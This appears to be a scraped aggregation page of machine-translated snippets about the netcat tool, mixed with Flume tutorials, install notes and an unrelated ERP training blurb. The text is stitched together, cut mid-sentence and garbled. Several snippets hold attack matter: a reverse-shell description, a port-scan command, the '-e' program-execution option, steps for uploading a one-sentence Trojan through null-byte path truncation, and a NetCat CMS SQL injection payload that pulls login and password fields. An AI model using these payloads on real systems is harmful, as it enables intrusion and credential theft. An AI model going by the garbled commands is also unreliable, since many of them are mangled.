nc netcat

Tags: firewall web site Hash soc encryption Compress package centralize sniff service First, the introduction NC is Netcat shorthand, has the network world the Swiss XXX reputation. Because it is short and functional, it is designed as a simple and reliable network tool. NC commands commonly used are two: 1,-V Output detailed interaction or error message

receive command. Note, however, that this requires the external system to have network support to access the system, so it is generally within the same LAN.Reverse ShellThe reverse shell is a client that sends its own shell to a particular remote system. Although the shell commands are received and executed over the network at the bottom, this "reverse" approach applies to different network environments. As the initiator of network communication, the local terminal device can actively connect t

)] Component Type:source, NAME:R1 started open another terminal, send data via HTTP POST: Curl-x post-d ' [{' H Eaders ": {" Timestampe":" 1234567 "," host ":" Master "}," Body ":" Badou Flume "}] ' hadoop-master:9000. Hadoop-master is the hostname of the flume configuration file binding, and 9000 is the bound port. And then in the window that runs flume, you see something like this: 2018-06-12 08:24:04,472 (sinkrunner-pollingrunner-defaultsinkprocessor) [INFO- Org.apache.flume.sink.LoggerSink.p

Turn from: https://blog.csdn.net/vah101/article/details/26229623 https://sourceforge.net/projects/netcat/files/ 1. Preparation Environment First, go to the www.cygwin.com download Cygwin installer Setup-x86_64.exe (or Setup-x86.exe), and then follow the installation prompts, and note that by default, Cygwin does not contain GCC, make, Patch and other common tools, you need additional installation methods, you can download gcc, make, patch to Cygwin in

1. Download: HTTP://SOURCEFORGE.NET/PROJECTS/NETCAT/FILES/NETCAT/0.7.1/The netcat-0.7.1.tar.gz version is downloaded.2. CopyCopy to the/home/hadoop directory with a USB stickTo decompress:Cd/home/hadoopTAR-ZXVF netcat-0.7.1.tar.gz-c/usr/localRenamed:Cd/usr/localMV netcat-0.7

After Linux installs the Swoole, the test UDP service needs to use the Netcat, however the Baidu has many installs the method, and does not have a useful. After several attempts, finally installs the success, now shares to everybody, for the reference.Configuration environment: centos6.31. Download the installation package ( may prompt: Unable to establish an SSL connection, if prompted please Baidu download the installation package )wget https://sour

Preparatory work:1.apache Download Flume2. Unzip the Flume3. Modify flume-env.sh, configure Java_home Netcat Capture Demo:1. Create the netcat-logger.conf in conf # defines the name of each component in the agent a1.sources = r1a1.sinks = K1a1.channels = c1# Describe and configure the source component: R1a1.sources.r1.type = Netcata1.sources.r1.bind = Localhosta1.sources.r1.port = 44444 # Descr

Keep Netcat the order.1: Remote Copy fileOn-Premises output file debian.img to 192.168.5.40 host 12345 port monitoringNc-v 192.168.5.40 12345 On 192.168.5.40 host 12345 Port Listener, designate the file as Debian-copy.imgNc-l-V 12345 > debian-copy.img2. Clone the hard disk or partition (This command really likes, the previous backup operation made a good Debian system, especially with DD backup disk, for example, you can use the DD, and then the

Release date:Updated on: Affected Systems:Netcat cms 5.0.1Description:--------------------------------------------------------------------------------Bugtraq id: 56340 NetCat CMS is a content management and workflow software. NetCat CMS 5.0.1 and other versions have multiple security vulnerabilities. Attackers can exploit these vulnerabilities to execute arbitrary script code in the user browsers of the aff

First, Introduction NetCat, a "Swiss Army Knife" in Web tools, has a version of Windows and Linux. Because it is short and short (the 1.84 version is 25k, the old version or the reduced version is even smaller), functional, is designed as a simple, reliable network tool, can transmit read and write data through TCP or UDP protocol. At the same time, it is a network application debug parser, because it can create a variety of different types of network

Detailed explanation of linux nc command parameters and usage 1. Function Description: powerful network tool netcat 2. Syntax: nc [options] [options]-d background mode-e prog program redirection. Once connected, run [dangerous!] -G

1, Port scanPort scans are often used by system administrators and hackers to discover ports that are open on some machines to help them identify vulnerabilities in the system.NC-ZVN 172.16.160.111 21-25Can be run in TCP or UDP mode, by default the Tcp,-u parameter is adjusted to UDP. # #udp测试 No matter what port is detected successedThe z parameter tells Netcat to use 0 IO, Close the connection immediately after the connection is successful, and no d

The Linux NC command uses a detailedOriginal: https://www.2cto.com/os/201306/220971.htmlFeature Description: Powerful networking toolsSyntax: NC [-hlnruz][-gParameters-g-g-H online Help.-i-L Use the monitor mode to control incoming data.-N uses the IP address directly, not through the domain name server.-o-p-R chaos Specifies the communication port between the local and the remote host.-s-U uses the UDP tra

The truncation method must be used for processing. The detailed process is as follows: 1. upload images normally submitted (preferably a simple one-sentence Trojan Horse) 2. Capture the package, capture the package, copy the post data, and save it as txt. 3. Edit the package in decimal format and add 00. 4. resubmit the package. nc (netcat) is the most primitive and most effective. For Path truncation

This article is a simple example of the flume official document in the practice and description of the official example Http://flume.apache.org/FlumeUserGuide.html#a-simple-example Flume's Netcat source automatically creates a socket Server that can fetch data simply by sending the data to the netcat source of this socket,flume. Examples are as follows: 1, first configure the agent: in Flume's conf dire

Today, strolling around the drink from, I saw a post aboutLinuxThe next NC Life to implement file transfer,LearningLearned a bit.Send side:CatTest. txt | Nc-l-P 6666Or Nc-l-P 6666 Some versions are not available on-p"Listening on port 6666, Waiting for Connection" (set the Send side IP to 10.20.133.152)Receiving end:NC 10.20.133.152 6666 > Test1.txtAs above, you

Title: NetCat CMS Code exec, SQL-injection Author: brain [pillow] Official Website: http://netcat.ru/ This defect is valid for all cms versions: ========================================================== ==================== # SQL injection: Www.2cto.com/search /? Action = index text = Q') + union + select +, concat_ws (0x3a, login, password, 1, 1, 1, 1 + from + ========================================================== =================

1. Install Netcat Rpm-ivh./*.rpm Restart xineted ./etc/rc.d/init.d/xineted Restart 2. Using the flume command $ bin/flume-ng usage:bin/flume-ng 3. Run(1) In the Flume directory execution Bin/flume-ng Agent \- c conf \ n A1 \ F conf/a1.conf \ -dflume.root.logger=debug,console (2) View port, start 44444 port NETSTAT-TNLP TCP 0 0:: ffff:192.168.88.131:44444:::* LISTEN 3278/java (3) sending data over 44444 ports Telnet HADOOP-C

A flume task is an agent that consists of three parts, as shown in the figure: Mainly focus on source and sink. Source is divided into active source and passive source. Sink such as HDFs client, Kafka client, etc. TAR-ZXVF apache-flume-1.6.0-bin.tar.gz Configure Environment variables Vim ~/.bash_profile ... Source ~/.bash_profile Vim test01 # example.conf:a Single-node Flume Configuration # Name The components on this agent a1.sources = R1 a1.sinks = K1 a1.channels = C1 # describe/configu

Ufida Group of ERP customer Development series Books Advanced Development of NC Client Training Tutorials V2.0 Edition This tutorial is Ufida Company Limited internal training materials, limited to the internal development and application of Ufida, anyone without prior written permission may not expand the scope of use of this tutorial. Similarly, without the written permission of Ufida, no person shall, in any form, make additions, adaptations, extra